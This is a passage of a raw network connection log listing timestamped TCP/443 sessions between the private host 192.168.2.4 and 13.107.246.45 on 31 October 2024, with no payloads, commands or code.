Oct 31, 2024 11:28:43.974932909 CET	50001	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:43.974941015 CET	443	50001	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:43.974963903 CET	443	50000	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:43.975001097 CET	50000	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:43.975018024 CET	443	50000	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:43.977833033 CET	50003	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:43.977859020 CET	443	50003	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:43.977890015 CET	50004	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:43.977920055 CET	443	50004	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:43.977929115 CET	50003	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:43.977972984 CET	50004	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:43.978104115 CET	50003	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:43.978116989 CET	443	50003	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:43.978117943 CET	50004	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:43.978130102 CET	443	50004	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:43.982356071 CET	443	49998	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:43.982502937 CET	443	49998	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:43.982561111 CET	49998	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:43.982593060 CET	49998	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:43.982604027 CET	443	49998	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:43.982613087 CET	49998	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:43.982618093 CET	443	49998	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:43.984469891 CET	50005	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:43.984492064 CET	443	50005	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:43.984565020 CET	50005	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:43.984709024 CET	50005	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:43.984721899 CET	443	50005	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:44.000355959 CET	443	50002	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:44.000514030 CET	443	50002	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:44.000565052 CET	50002	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:44.000601053 CET	50002	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:44.000611067 CET	443	50002	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:44.000618935 CET	50002	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:44.000623941 CET	443	50002	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:44.002537012 CET	50006	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:44.002549887 CET	443	50006	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:44.002609968 CET	50006	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:44.002727985 CET	50006	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:44.002737999 CET	443	50006	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:44.003494978 CET	443	49999	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:44.003563881 CET	443	49999	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:44.003616095 CET	49999	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:44.003706932 CET	49999	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:44.003712893 CET	443	49999	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:44.003725052 CET	49999	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:44.003729105 CET	443	49999	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:44.005726099 CET	50007	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:44.005739927 CET	443	50007	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:44.005825996 CET	50007	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:44.005959988 CET	50007	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:44.005968094 CET	443	50007	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:44.704045057 CET	443	50003	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:44.709178925 CET	443	50004	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:44.720875025 CET	50003	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:44.720906973 CET	443	50003	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:44.726219893 CET	443	50005	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:44.730631113 CET	443	50006	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:44.732192039 CET	50003	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:44.732215881 CET	443	50003	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:44.732527018 CET	50004	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:44.732537031 CET	443	50004	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:44.732889891 CET	50004	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:44.732894897 CET	443	50004	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:44.744632006 CET	443	50007	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:44.747270107 CET	50007	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:44.747291088 CET	443	50007	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:44.747670889 CET	50007	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:44.747675896 CET	443	50007	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:44.748358965 CET	50005	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:44.748368025 CET	443	50005	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:44.748682976 CET	50005	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:44.748687983 CET	443	50005	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:44.748946905 CET	50006	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:44.748959064 CET	443	50006	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:44.749344110 CET	50006	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:44.749350071 CET	443	50006	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:44.859324932 CET	443	50004	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:44.859555006 CET	443	50003	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:44.859579086 CET	443	50003	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:44.859632969 CET	443	50003	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:44.859653950 CET	443	50004	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:44.859675884 CET	50003	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:44.859704971 CET	50004	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:44.859708071 CET	50003	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:44.871486902 CET	50004	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:44.871500969 CET	443	50004	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:44.871511936 CET	50004	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:44.871517897 CET	443	50004	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:44.872653961 CET	50003	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:44.872672081 CET	443	50003	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:44.872684002 CET	50003	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:44.872689962 CET	443	50003	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:44.873604059 CET	443	50006	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:44.873634100 CET	443	50006	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:44.873687029 CET	443	50006	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:44.873693943 CET	50006	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:44.873730898 CET	50006	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:44.875406027 CET	443	50007	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:44.875425100 CET	443	50007	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:44.875473976 CET	50007	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:44.875488997 CET	443	50007	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:44.875529051 CET	50007	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:44.876060963 CET	443	50005	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:44.876084089 CET	443	50005	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:44.876132011 CET	443	50005	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:44.876177073 CET	50005	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:44.884294033 CET	50005	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:44.884322882 CET	443	50005	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:44.884339094 CET	50005	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:44.884346008 CET	443	50005	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:44.922266006 CET	50006	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:44.922282934 CET	443	50006	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:44.922321081 CET	50006	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:44.922327042 CET	443	50006	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:44.928492069 CET	50007	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:44.928513050 CET	443	50007	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:44.928549051 CET	50007	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:44.928556919 CET	443	50007	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:44.942121029 CET	50009	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:44.942133904 CET	50008	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:44.942157984 CET	443	50009	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:44.942178011 CET	443	50008	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:44.942250967 CET	50009	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:44.942624092 CET	50008	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:44.943094969 CET	50010	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:44.943104029 CET	443	50010	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:44.944642067 CET	50011	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:44.944652081 CET	443	50011	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:44.944672108 CET	50010	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:44.944703102 CET	50011	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:44.945147991 CET	50009	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:44.945157051 CET	443	50009	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:44.945242882 CET	50008	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:44.945259094 CET	443	50008	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:44.945880890 CET	50012	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:44.945924044 CET	443	50012	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:44.945997953 CET	50010	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:44.946011066 CET	443	50010	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:44.946026087 CET	50012	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:44.946118116 CET	50012	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:44.946136951 CET	443	50012	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:44.946398020 CET	50011	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:44.946414948 CET	443	50011	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:45.664288044 CET	443	50010	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:45.664773941 CET	50010	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:45.664793968 CET	443	50010	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:45.665246964 CET	50010	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:45.665252924 CET	443	50010	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:45.682823896 CET	443	50011	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:45.682826042 CET	443	50009	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:45.683223009 CET	50011	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:45.683235884 CET	443	50011	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:45.683283091 CET	50009	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:45.683288097 CET	443	50009	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:45.683655977 CET	50011	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:45.683660984 CET	443	50011	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:45.683743954 CET	50009	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:45.683748007 CET	443	50009	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:45.684655905 CET	443	50012	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:45.685055017 CET	50012	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:45.685074091 CET	443	50012	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:45.685389996 CET	50012	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:45.685395956 CET	443	50012	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:45.701788902 CET	443	50008	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:45.704221010 CET	50008	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:45.704241037 CET	443	50008	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:45.704639912 CET	50008	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:45.704644918 CET	443	50008	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:45.791362047 CET	443	50010	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:45.791439056 CET	443	50010	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:45.791506052 CET	50010	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:45.791704893 CET	50010	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:45.791713953 CET	443	50010	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:45.791728973 CET	50010	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:45.791734934 CET	443	50010	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:45.794672012 CET	50013	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:45.794717073 CET	443	50013	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:45.794806004 CET	50013	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:45.795031071 CET	50013	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:45.795047998 CET	443	50013	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:45.813014030 CET	443	50009	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:45.813071012 CET	443	50009	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:45.813194990 CET	50009	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:45.813456059 CET	50009	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:45.813467979 CET	443	50009	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:45.813477993 CET	50009	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:45.813483000 CET	443	50009	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:45.814451933 CET	443	50011	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:45.815105915 CET	443	50011	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:45.815167904 CET	50011	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:45.815200090 CET	50011	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:45.815205097 CET	443	50011	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:45.815215111 CET	50011	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:45.815218925 CET	443	50011	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:45.815754890 CET	50014	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:45.815794945 CET	443	50014	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:45.815856934 CET	50014	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:45.815994978 CET	50014	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:45.816008091 CET	443	50014	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:45.816545963 CET	443	50012	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:45.816570997 CET	443	50012	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:45.816616058 CET	443	50012	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:45.816623926 CET	50012	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:45.816672087 CET	50012	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:45.816797018 CET	50012	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:45.816802979 CET	443	50012	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:45.816813946 CET	50012	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:45.816817999 CET	443	50012	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:45.817194939 CET	50015	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:45.817214012 CET	443	50015	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:45.817274094 CET	50015	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:45.817413092 CET	50015	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:45.817424059 CET	443	50015	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:45.818660021 CET	50016	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:45.818691969 CET	443	50016	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:45.818758011 CET	50016	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:45.818864107 CET	50016	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:45.818875074 CET	443	50016	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:45.835733891 CET	443	50008	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:45.835880041 CET	443	50008	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:45.836097002 CET	50008	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:45.836121082 CET	50008	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:45.836127996 CET	443	50008	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:45.836143970 CET	50008	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:45.836148024 CET	443	50008	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:45.837943077 CET	50017	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:45.837971926 CET	443	50017	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:45.838046074 CET	50017	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:45.838185072 CET	50017	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:45.838196039 CET	443	50017	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:46.528656006 CET	443	50013	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:46.529122114 CET	50013	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:46.529150963 CET	443	50013	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:46.529695988 CET	50013	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:46.529706001 CET	443	50013	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:46.549134016 CET	443	50016	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:46.549505949 CET	50016	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:46.549513102 CET	443	50016	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:46.549916029 CET	50016	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:46.549921989 CET	443	50016	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:46.558509111 CET	443	50015	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:46.558837891 CET	50015	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:46.558862925 CET	443	50015	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:46.559216976 CET	50015	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:46.559223890 CET	443	50015	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:46.571517944 CET	443	50017	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:46.571782112 CET	50017	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:46.571810961 CET	443	50017	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:46.572154999 CET	50017	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:46.572161913 CET	443	50017	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:46.584196091 CET	443	50014	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:46.584644079 CET	50014	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:46.584661961 CET	443	50014	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:46.585042000 CET	50014	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:46.585047007 CET	443	50014	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:46.659841061 CET	443	50013	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:46.659873962 CET	443	50013	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:46.659925938 CET	443	50013	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:46.659940958 CET	50013	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:46.659977913 CET	50013	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:46.660177946 CET	50013	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:46.660187960 CET	443	50013	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:46.660201073 CET	50013	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:46.660207987 CET	443	50013	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:46.662786961 CET	50018	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:46.662803888 CET	443	50018	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:46.662880898 CET	50018	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:46.662998915 CET	50018	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:46.663007021 CET	443	50018	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:46.682554007 CET	443	50016	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:46.682575941 CET	443	50016	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:46.682625055 CET	443	50016	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:46.682640076 CET	50016	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:46.682682991 CET	50016	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:46.682847977 CET	50016	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:46.682857037 CET	443	50016	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:46.682867050 CET	50016	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:46.682872057 CET	443	50016	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:46.684875011 CET	50019	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:46.684911013 CET	443	50019	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:46.684988976 CET	50019	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:46.685103893 CET	50019	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:46.685117960 CET	443	50019	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:46.721164942 CET	443	50014	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:46.721211910 CET	443	50014	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:46.721280098 CET	443	50014	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:46.721288919 CET	50014	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:46.721368074 CET	50014	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:46.721390009 CET	50014	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:46.721410990 CET	443	50014	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:46.721422911 CET	50014	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:46.721427917 CET	443	50014	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:46.723323107 CET	50020	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:46.723349094 CET	443	50020	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:46.723424911 CET	50020	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:46.723684072 CET	50020	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:46.723697901 CET	443	50020	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:46.803239107 CET	443	50015	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:46.803277016 CET	443	50015	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:46.803297043 CET	443	50015	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:46.803350925 CET	50015	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:46.803390980 CET	443	50015	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:46.803528070 CET	50015	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:46.803528070 CET	50015	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:46.808969975 CET	443	50015	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:46.809046030 CET	443	50015	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:46.809051037 CET	50015	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:46.809087992 CET	50015	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:46.809127092 CET	50015	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:46.809144974 CET	443	50015	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:46.809159040 CET	50015	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:46.809165955 CET	443	50015	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:46.811815977 CET	50021	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:46.811862946 CET	443	50021	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:46.811955929 CET	50021	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:46.812047005 CET	443	50017	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:46.812076092 CET	443	50017	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:46.812091112 CET	443	50017	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:46.812097073 CET	50021	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:46.812113047 CET	443	50021	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:46.812143087 CET	50017	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:46.812163115 CET	443	50017	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:46.812205076 CET	50017	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:46.823074102 CET	443	50017	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:46.823129892 CET	443	50017	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:46.823160887 CET	443	50017	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:46.823185921 CET	50017	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:46.823345900 CET	50017	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:46.823345900 CET	50017	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:46.823345900 CET	50017	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:46.825508118 CET	50022	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:46.825548887 CET	443	50022	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:46.825638056 CET	50022	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:46.825762033 CET	50022	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:46.825776100 CET	443	50022	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:47.138751984 CET	50017	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:47.138792992 CET	443	50017	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:47.389072895 CET	443	50018	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:47.389765024 CET	50018	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:47.389781952 CET	443	50018	13.107.246.45	192.168.2.4
